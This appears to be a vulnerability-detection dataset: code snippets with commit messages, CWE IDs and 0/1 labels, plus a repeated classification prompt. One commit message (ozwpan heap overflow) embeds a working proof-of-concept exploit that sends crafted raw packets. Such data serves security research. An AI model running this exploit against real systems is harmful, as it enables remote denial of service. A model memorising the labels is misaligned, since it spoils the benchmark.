Code: static void sco_recv_frame(struct sco_conn *conn, struct sk_buff *skb)
{
struct sock *sk = sco_chan_get(conn);
if (!sk)
goto drop;
BT_DBG("sk %p len %d", sk, skb->len);
if (sk->sk_state != BT_CONNECTED)
goto drop;
if (!sock_queue_rcv_skb(sk, skb))
return;
drop:
kfree_skb(skb);
}
Commit Message: Bluetooth: SCO - Fix missing msg_namelen update in sco_sock_recvmsg()
If the socket is in state BT_CONNECT2 and BT_SK_DEFER_SETUP is set in
the flags, sco_sock_recvmsg() returns early with 0 without updating the
possibly set msg_namelen member. This, in turn, leads to a 128 byte
kernel stack leak in net/socket.c.
Fix this by updating msg_namelen in this case. For all other cases it
will be handled in bt_sock_recvmsg().
Cc: Marcel Holtmann <marcel@holtmann.org>
Cc: Gustavo Padovan <gustavo@padovan.org>
Cc: Johan Hedberg <johan.hedberg@gmail.com>
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-200
| 0
| 20,218
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void free_snippetargs(struct snippetargs **sap)
{
while (*sap) {
struct snippetargs *sa = *sap;
*sap = sa->next;
free(sa->mboxname);
free(sa->uids.data);
free(sa);
}
}
Commit Message: imapd: check for isadmin BEFORE parsing sync lines
CWE ID: CWE-20
| 0
| 4,600
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void LayerTreeHostImpl::CreateUIResource(UIResourceId uid,
const UIResourceBitmap& bitmap) {
DCHECK_GT(uid, 0);
ResourceId id = ResourceIdForUIResource(uid);
if (id)
DeleteUIResource(uid);
if (!has_valid_compositor_frame_sink_) {
evicted_ui_resources_.insert(uid);
return;
}
ResourceFormat format = resource_provider_->best_texture_format();
switch (bitmap.GetFormat()) {
case UIResourceBitmap::RGBA8:
break;
case UIResourceBitmap::ALPHA_8:
format = ALPHA_8;
break;
case UIResourceBitmap::ETC1:
format = ETC1;
break;
}
const gfx::Size source_size = bitmap.GetSize();
gfx::Size upload_size = bitmap.GetSize();
bool scaled = false;
int max_texture_size = resource_provider_->max_texture_size();
if (source_size.width() > max_texture_size ||
source_size.height() > max_texture_size) {
scaled = true;
int edge = std::max(source_size.width(), source_size.height());
float scale = static_cast<float>(max_texture_size - 1) / edge;
DCHECK_LT(scale, 1.f);
upload_size = gfx::ScaleToCeiledSize(source_size, scale, scale);
}
id = resource_provider_->CreateResource(
upload_size, ResourceProvider::TEXTURE_HINT_IMMUTABLE, format,
gfx::ColorSpace::CreateSRGB());
if (!scaled) {
AutoLockUIResourceBitmap bitmap_lock(bitmap);
auto* pixels = bitmap_lock.GetPixels();
resource_provider_->CopyToResource(id, pixels, source_size);
} else {
DCHECK_EQ(bitmap.GetFormat(), UIResourceBitmap::RGBA8);
float canvas_scale_x =
upload_size.width() / static_cast<float>(source_size.width());
float canvas_scale_y =
upload_size.height() / static_cast<float>(source_size.height());
SkImageInfo info = SkImageInfo::MakeN32(
source_size.width(), source_size.height(), kPremul_SkAlphaType);
int row_bytes = source_size.width() * 4;
AutoLockUIResourceBitmap bitmap_lock(bitmap);
SkBitmap source_bitmap;
source_bitmap.setInfo(info, row_bytes);
source_bitmap.setPixels(const_cast<uint8_t*>(bitmap_lock.GetPixels()));
SkBitmap scaled_bitmap;
scaled_bitmap.allocN32Pixels(upload_size.width(), upload_size.height());
SkCanvas scaled_canvas(scaled_bitmap);
scaled_canvas.scale(canvas_scale_x, canvas_scale_y);
scaled_canvas.clear(SK_ColorTRANSPARENT);
scaled_canvas.drawBitmap(source_bitmap, 0, 0);
SkAutoLockPixels scaled_bitmap_lock(scaled_bitmap);
auto* pixels = static_cast<uint8_t*>(scaled_bitmap.getPixels());
resource_provider_->CopyToResource(id, pixels, upload_size);
}
UIResourceData data;
data.resource_id = id;
data.opaque = bitmap.GetOpaque();
ui_resource_map_[uid] = data;
resource_provider_->GenerateSyncTokenForResource(id);
MarkUIResourceNotEvicted(uid);
}
Commit Message: (Reland) Discard compositor frames from unloaded web content
This is a reland of https://codereview.chromium.org/2707243005/ with a
small change to fix an uninitialized memory error that fails on MSAN
bots.
BUG=672847
TBR=danakj@chromium.org, creis@chromium.org
CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2731283003
Cr-Commit-Position: refs/heads/master@{#454954}
CWE ID: CWE-362
| 0
| 9,249
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void DispatchInputEvent(Element* target,
InputEvent::InputType input_type,
const String& data,
InputEvent::EventIsComposing is_composing) {
if (!RuntimeEnabledFeatures::InputEventEnabled())
return;
if (!target)
return;
InputEvent* input_event =
InputEvent::CreateInput(input_type, data, is_composing, nullptr);
target->DispatchScopedEvent(input_event);
}
Commit Message: Move SelectionTemplate::is_handle_visible_ to FrameSelection
This patch moves |is_handle_visible_| to |FrameSelection| from |SelectionTemplate|
since handle visibility is used only for setting |FrameSelection|, hence it is
a redundant member variable of |SelectionTemplate|.
Bug: 742093
Change-Id: I3add4da3844fb40be34dcb4d4b46b5fa6fed1d7e
Reviewed-on: https://chromium-review.googlesource.com/595389
Commit-Queue: Yoshifumi Inoue <yosin@chromium.org>
Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org>
Reviewed-by: Kent Tamura <tkent@chromium.org>
Cr-Commit-Position: refs/heads/master@{#491660}
CWE ID: CWE-119
| 0
| 18,575
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebPagePrivate::didPluginExitFullScreen(PluginView* plugin, const char* windowUniquePrefix)
{
m_fullScreenPluginView = 0;
m_client->didPluginExitFullScreen();
if (!m_client->window())
return;
Platform::Graphics::Window::setTransparencyDiscardFilter(0);
m_client->window()->setSensitivityFullscreenOverride(false);
}
Commit Message: [BlackBerry] Adapt to new BlackBerry::Platform::TouchPoint API
https://bugs.webkit.org/show_bug.cgi?id=105143
RIM PR 171941
Reviewed by Rob Buis.
Internally reviewed by George Staikos.
Source/WebCore:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit.
Also adapt to new method names and encapsulation of TouchPoint data
members.
No change in behavior, no new tests.
* platform/blackberry/PlatformTouchPointBlackBerry.cpp:
(WebCore::PlatformTouchPoint::PlatformTouchPoint):
Source/WebKit/blackberry:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit. One exception
is when passing events to a full screen plugin.
Also adapt to new method names and encapsulation of TouchPoint data
members.
* Api/WebPage.cpp:
(BlackBerry::WebKit::WebPage::touchEvent):
(BlackBerry::WebKit::WebPage::touchPointAsMouseEvent):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchEventToFullScreenPlugin):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchPointAsMouseEventToFullScreenPlugin):
* WebKitSupport/InputHandler.cpp:
(BlackBerry::WebKit::InputHandler::shouldRequestSpellCheckingOptionsForPoint):
* WebKitSupport/InputHandler.h:
(InputHandler):
* WebKitSupport/TouchEventHandler.cpp:
(BlackBerry::WebKit::TouchEventHandler::doFatFingers):
(BlackBerry::WebKit::TouchEventHandler::handleTouchPoint):
* WebKitSupport/TouchEventHandler.h:
(TouchEventHandler):
Tools:
Adapt to new method names and encapsulation of TouchPoint data members.
* DumpRenderTree/blackberry/EventSender.cpp:
(addTouchPointCallback):
(updateTouchPointCallback):
(touchEndCallback):
(releaseTouchPointCallback):
(sendTouchEvent):
git-svn-id: svn://svn.chromium.org/blink/trunk@137880 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID:
| 0
| 11,476
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void WebContentsImpl::SetForceDisableOverscrollContent(bool force_disable) {
force_disable_overscroll_content_ = force_disable;
if (view_)
view_->SetOverscrollControllerEnabled(CanOverscrollContent());
}
Commit Message: Don't call WebContents::DownloadImage() callback if the WebContents were deleted
BUG=583718
Review URL: https://codereview.chromium.org/1685343004
Cr-Commit-Position: refs/heads/master@{#375700}
CWE ID:
| 0
| 11,564
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void RenderViewImpl::UpdateScrollState(WebFrame* frame) {
WebSize offset = frame->scrollOffset();
WebSize minimum_offset = frame->minimumScrollOffset();
WebSize maximum_offset = frame->maximumScrollOffset();
bool is_pinned_to_left = offset.width <= minimum_offset.width;
bool is_pinned_to_right = offset.width >= maximum_offset.width;
if (is_pinned_to_left != cached_is_main_frame_pinned_to_left_ ||
is_pinned_to_right != cached_is_main_frame_pinned_to_right_) {
Send(new ViewHostMsg_DidChangeScrollOffsetPinningForMainFrame(
routing_id_, is_pinned_to_left, is_pinned_to_right));
cached_is_main_frame_pinned_to_left_ = is_pinned_to_left;
cached_is_main_frame_pinned_to_right_ = is_pinned_to_right;
}
Send(new ViewHostMsg_DidChangeScrollOffset(routing_id_));
}
Commit Message: Let the browser handle external navigations from DevTools.
BUG=180555
Review URL: https://chromiumcodereview.appspot.com/12531004
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@186793 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 4,182
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void __exit usb_exit(void)
{
/* This will matter if shutdown/reboot does exitcalls. */
if (usb_disabled())
return;
usb_release_quirk_list();
usb_deregister_device_driver(&usb_generic_driver);
usb_major_cleanup();
usb_deregister(&usbfs_driver);
usb_devio_cleanup();
usb_hub_cleanup();
bus_unregister_notifier(&usb_bus_type, &usb_bus_nb);
bus_unregister(&usb_bus_type);
usb_acpi_unregister();
usb_debugfs_cleanup();
idr_destroy(&usb_bus_idr);
}
Commit Message: USB: check usb_get_extra_descriptor for proper size
When reading an extra descriptor, we need to properly check the minimum
and maximum size allowed, to prevent from invalid data being sent by a
device.
Reported-by: Hui Peng <benquike@gmail.com>
Reported-by: Mathias Payer <mathias.payer@nebelwelt.net>
Co-developed-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Hui Peng <benquike@gmail.com>
Signed-off-by: Mathias Payer <mathias.payer@nebelwelt.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Cc: stable <stable@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-400
| 0
| 4,029
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline MagickBooleanType IsFloatDefined(const float value)
{
union
{
unsigned int
unsigned_value;
float
float_value;
} quantum;
quantum.unsigned_value=0U;
quantum.float_value=value;
if (quantum.unsigned_value == 0U)
return(MagickFalse);
return(MagickTrue);
}
Commit Message:
CWE ID: CWE-119
| 0
| 14,860
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int oz_plat_resume(struct platform_device *dev)
{
return 0;
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 17,667
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int handle_task_switch(struct kvm_vcpu *vcpu)
{
struct vcpu_vmx *vmx = to_vmx(vcpu);
unsigned long exit_qualification;
bool has_error_code = false;
u32 error_code = 0;
u16 tss_selector;
int reason, type, idt_v, idt_index;
idt_v = (vmx->idt_vectoring_info & VECTORING_INFO_VALID_MASK);
idt_index = (vmx->idt_vectoring_info & VECTORING_INFO_VECTOR_MASK);
type = (vmx->idt_vectoring_info & VECTORING_INFO_TYPE_MASK);
exit_qualification = vmcs_readl(EXIT_QUALIFICATION);
reason = (u32)exit_qualification >> 30;
if (reason == TASK_SWITCH_GATE && idt_v) {
switch (type) {
case INTR_TYPE_NMI_INTR:
vcpu->arch.nmi_injected = false;
vmx_set_nmi_mask(vcpu, true);
break;
case INTR_TYPE_EXT_INTR:
case INTR_TYPE_SOFT_INTR:
kvm_clear_interrupt_queue(vcpu);
break;
case INTR_TYPE_HARD_EXCEPTION:
if (vmx->idt_vectoring_info &
VECTORING_INFO_DELIVER_CODE_MASK) {
has_error_code = true;
error_code =
vmcs_read32(IDT_VECTORING_ERROR_CODE);
}
/* fall through */
case INTR_TYPE_SOFT_EXCEPTION:
kvm_clear_exception_queue(vcpu);
break;
default:
break;
}
}
tss_selector = exit_qualification;
if (!idt_v || (type != INTR_TYPE_HARD_EXCEPTION &&
type != INTR_TYPE_EXT_INTR &&
type != INTR_TYPE_NMI_INTR))
skip_emulated_instruction(vcpu);
if (kvm_task_switch(vcpu, tss_selector,
type == INTR_TYPE_SOFT_INTR ? idt_index : -1, reason,
has_error_code, error_code) == EMULATE_FAIL) {
vcpu->run->exit_reason = KVM_EXIT_INTERNAL_ERROR;
vcpu->run->internal.suberror = KVM_INTERNAL_ERROR_EMULATION;
vcpu->run->internal.ndata = 0;
return 0;
}
/* clear all local breakpoint enable flags */
vmcs_writel(GUEST_DR7, vmcs_readl(GUEST_DR7) & ~55);
/*
* TODO: What about debug traps on tss switch?
* Are we supposed to inject them and update dr6?
*/
return 1;
}
Commit Message: nEPT: Nested INVEPT
If we let L1 use EPT, we should probably also support the INVEPT instruction.
In our current nested EPT implementation, when L1 changes its EPT table
for L2 (i.e., EPT12), L0 modifies the shadow EPT table (EPT02), and in
the course of this modification already calls INVEPT. But if last level
of shadow page is unsync not all L1's changes to EPT12 are intercepted,
which means roots need to be synced when L1 calls INVEPT. Global INVEPT
should not be different since roots are synced by kvm_mmu_load() each
time EPTP02 changes.
Reviewed-by: Xiao Guangrong <xiaoguangrong@linux.vnet.ibm.com>
Signed-off-by: Nadav Har'El <nyh@il.ibm.com>
Signed-off-by: Jun Nakajima <jun.nakajima@intel.com>
Signed-off-by: Xinhao Xu <xinhao.xu@intel.com>
Signed-off-by: Yang Zhang <yang.z.zhang@Intel.com>
Signed-off-by: Gleb Natapov <gleb@redhat.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID: CWE-20
| 0
| 1,130
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ssl3_check_client_certificate(SSL *s)
{
unsigned long alg_k;
if (!s->cert || !s->cert->key->x509 || !s->cert->key->privatekey)
return 0;
/* If no suitable signature algorithm can't use certificate */
if (SSL_USE_SIGALGS(s) && !s->cert->key->digest)
return 0;
/* If strict mode check suitability of chain before using it.
* This also adjusts suite B digest if necessary.
*/
if (s->cert->cert_flags & SSL_CERT_FLAGS_CHECK_TLS_STRICT &&
!tls1_check_chain(s, NULL, NULL, NULL, -2))
return 0;
alg_k=s->s3->tmp.new_cipher->algorithm_mkey;
/* See if we can use client certificate for fixed DH */
if (alg_k & (SSL_kDHr|SSL_kDHd))
{
SESS_CERT *scert = s->session->sess_cert;
int i = scert->peer_cert_type;
EVP_PKEY *clkey = NULL, *spkey = NULL;
clkey = s->cert->key->privatekey;
/* If client key not DH assume it can be used */
if (EVP_PKEY_id(clkey) != EVP_PKEY_DH)
return 1;
if (i >= 0)
spkey = X509_get_pubkey(scert->peer_pkeys[i].x509);
if (spkey)
{
/* Compare server and client parameters */
i = EVP_PKEY_cmp_parameters(clkey, spkey);
EVP_PKEY_free(spkey);
if (i != 1)
return 0;
}
s->s3->flags |= TLS1_FLAGS_SKIP_CERT_VERIFY;
}
return 1;
}
Commit Message: Only allow ephemeral RSA keys in export ciphersuites.
OpenSSL clients would tolerate temporary RSA keys in non-export
ciphersuites. It also had an option SSL_OP_EPHEMERAL_RSA which
enabled this server side. Remove both options as they are a
protocol violation.
Thanks to Karthikeyan Bhargavan for reporting this issue.
(CVE-2015-0204)
Reviewed-by: Matt Caswell <matt@openssl.org>
CWE ID: CWE-310
| 0
| 9,190
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int ioctl_preallocate(struct file *filp, void __user *argp)
{
struct inode *inode = file_inode(filp);
struct space_resv sr;
if (copy_from_user(&sr, argp, sizeof(sr)))
return -EFAULT;
switch (sr.l_whence) {
case SEEK_SET:
break;
case SEEK_CUR:
sr.l_start += filp->f_pos;
break;
case SEEK_END:
sr.l_start += i_size_read(inode);
break;
default:
return -EINVAL;
}
return vfs_fallocate(filp, FALLOC_FL_KEEP_SIZE, sr.l_start, sr.l_len);
}
Commit Message: vfs: ioctl: prevent double-fetch in dedupe ioctl
This prevents a double-fetch from user space that can lead to to an
undersized allocation and heap overflow.
Fixes: 54dbc1517237 ("vfs: hoist the btrfs deduplication ioctl to the vfs")
Signed-off-by: Scott Bauer <sbauer@plzdonthack.me>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-119
| 0
| 29,063
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: status_t Parcel::writeBoolVector(const std::vector<bool>& val)
{
return writeTypedVector(val, &Parcel::writeBool);
}
Commit Message: Add bound checks to utf16_to_utf8
Bug: 29250543
Change-Id: I518e7b2fe10aaa3f1c1987586a09b1110aff7e1a
(cherry picked from commit 7e93b2ddcb49b5365fbe1dab134ffb38e6f1c719)
CWE ID: CWE-119
| 0
| 98
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void TestStoreInUnloadHandlerForSameSiteNavigation(
bool preestablish_mojo_pipe) {
const GURL a_url1 = https_test_server().GetURL("foo.a.com", "/title1.html");
const GURL a_url2 = https_test_server().GetURL("bar.a.com", "/title2.html");
ui_test_utils::NavigateToURL(browser(), a_url1);
ChromePasswordManagerClient* client =
ChromePasswordManagerClient::FromWebContents(WebContents());
EXPECT_FALSE(client->has_binding_for_credential_manager());
if (preestablish_mojo_pipe) {
ASSERT_NO_FATAL_FAILURE(
TriggerNavigatorGetPasswordCredentialsAndExpectHasResult(
WebContents(), false));
EXPECT_TRUE(client->has_binding_for_credential_manager());
}
ASSERT_NO_FATAL_FAILURE(ScheduleNavigatorStoreCredentialAtUnload(
WebContents(), "user", "hunter2"));
content::RenderFrameHost* old_rfh = WebContents()->GetMainFrame();
ui_test_utils::NavigateToURL(browser(), a_url2);
ASSERT_EQ(old_rfh, WebContents()->GetMainFrame());
EXPECT_FALSE(client->has_binding_for_credential_manager());
if (!client->was_store_ever_called())
return;
BubbleObserver prompt_observer(WebContents());
prompt_observer.WaitForAutomaticSavePrompt();
ASSERT_TRUE(prompt_observer.IsSavePromptShownAutomatically());
prompt_observer.AcceptSavePrompt();
WaitForPasswordStore();
password_manager::TestPasswordStore* test_password_store =
static_cast<password_manager::TestPasswordStore*>(
PasswordStoreFactory::GetForProfile(
browser()->profile(), ServiceAccessType::IMPLICIT_ACCESS)
.get());
ASSERT_EQ(1u, test_password_store->stored_passwords().size());
autofill::PasswordForm signin_form =
test_password_store->stored_passwords().begin()->second[0];
EXPECT_EQ(base::ASCIIToUTF16("user"), signin_form.username_value);
EXPECT_EQ(base::ASCIIToUTF16("hunter2"), signin_form.password_value);
EXPECT_EQ(a_url1.GetOrigin(), signin_form.origin);
}
Commit Message: Fix Credential Management API Store() for existing Credentials
This changes fixes the Credential Management API to correctly handle
storing of already existing credentials. In the previous version
`preferred_match()` was updated, which is not necessarily the credential
selected by the user.
Bug: 795878
Cq-Include-Trybots: master.tryserver.chromium.linux:linux_mojo
Change-Id: I269f465861f44cdd784f0ce077e755191d3bd7bd
Reviewed-on: https://chromium-review.googlesource.com/843022
Commit-Queue: Jan Wilken Dörrie <jdoerrie@chromium.org>
Reviewed-by: Balazs Engedy <engedy@chromium.org>
Reviewed-by: Jochen Eisinger <jochen@chromium.org>
Reviewed-by: Maxim Kolosovskiy <kolos@chromium.org>
Cr-Commit-Position: refs/heads/master@{#526313}
CWE ID: CWE-125
| 0
| 5,351
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: virtual void TearDown() {
EXPECT_TRUE(RenderProcessHost::AllHostsIterator().IsAtEnd());
GetContentClient()->set_browser_for_testing(old_browser_client_);
DrainMessageLoops();
}
Commit Message: Check for appropriate bindings in process-per-site mode.
BUG=174059
TEST=See bug for repro steps.
Review URL: https://chromiumcodereview.appspot.com/12188025
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@181386 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID:
| 0
| 21,073
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool AuthBackend::actionExists(const QString &action)
{
Q_UNUSED(action);
Q_UNUSED(action)
Q_UNUSED(parent)
}
Commit Message:
CWE ID: CWE-290
| 0
| 12,332
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void __fuse_get_request(struct fuse_req *req)
{
refcount_inc(&req->count);
}
Commit Message: Merge branch 'page-refs' (page ref overflow)
Merge page ref overflow branch.
Jann Horn reported that he can overflow the page ref count with
sufficient memory (and a filesystem that is intentionally extremely
slow).
Admittedly it's not exactly easy. To have more than four billion
references to a page requires a minimum of 32GB of kernel memory just
for the pointers to the pages, much less any metadata to keep track of
those pointers. Jann needed a total of 140GB of memory and a specially
crafted filesystem that leaves all reads pending (in order to not ever
free the page references and just keep adding more).
Still, we have a fairly straightforward way to limit the two obvious
user-controllable sources of page references: direct-IO like page
references gotten through get_user_pages(), and the splice pipe page
duplication. So let's just do that.
* branch page-refs:
fs: prevent page refcount overflow in pipe_buf_get
mm: prevent get_user_pages() from overflowing page refcount
mm: add 'try_get_page()' helper function
mm: make page ref count overflow check tighter and more explicit
CWE ID: CWE-416
| 0
| 24,530
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int hfs_decompress_noncompressed_attr(char* rawBuf, uint32_t rawSize, uint64_t uncSize, char** dstBuf, uint64_t* dstSize, int* dstBufFree) {
if (tsk_verbose)
tsk_fprintf(stderr,
"%s: Leading byte, 0x%02x, indicates that the data is not really compressed.\n"
"%s: Loading the default DATA attribute.", __func__, rawBuf[0], __func__);
*dstBuf = rawBuf + 1; // + 1 indicator byte
*dstSize = uncSize;
*dstBufFree = FALSE;
return 1;
}
Commit Message: Merge pull request #1374 from JordyZomer/develop
Fix CVE-2018-19497.
CWE ID: CWE-125
| 0
| 939
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: virtual void TabChangedAt(TabContentsWrapper* contents, int index,
TabChangeType change_type) {
states_.push_back(new State(contents, index, CHANGE));
}
Commit Message: chromeos: fix bug where "aw snap" page replaces first tab if it was a NTP when closing window with > 1 tab.
BUG=chromium-os:12088
TEST=verify bug per bug report.
Review URL: http://codereview.chromium.org/6882058
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@83031 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 0
| 12,304
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ChildProcessSecurityPolicyImpl::Remove(int child_id) {
base::AutoLock lock(lock_);
security_state_.erase(child_id);
worker_map_.erase(child_id);
}
Commit Message: Lock down blob/filesystem URL creation with a stronger CPSP::CanCommitURL()
ChildProcessSecurityPolicy::CanCommitURL() is a security check that's
supposed to tell whether a given renderer process is allowed to commit
a given URL. It is currently used to validate (1) blob and filesystem
URL creation, and (2) Origin headers. Currently, it has scheme-based
checks that disallow things like web renderers creating
blob/filesystem URLs in chrome-extension: origins, but it cannot stop
one web origin from creating those URLs for another origin.
This CL locks down its use for (1) to also consult
CanAccessDataForOrigin(). With site isolation, this will check origin
locks and ensure that foo.com cannot create blob/filesystem URLs for
other origins.
For now, this CL does not provide the same enforcements for (2),
Origin header validation, which has additional constraints that need
to be solved first (see https://crbug.com/515309).
Bug: 886976, 888001
Change-Id: I743ef05469e4000b2c0bee840022162600cc237f
Reviewed-on: https://chromium-review.googlesource.com/1235343
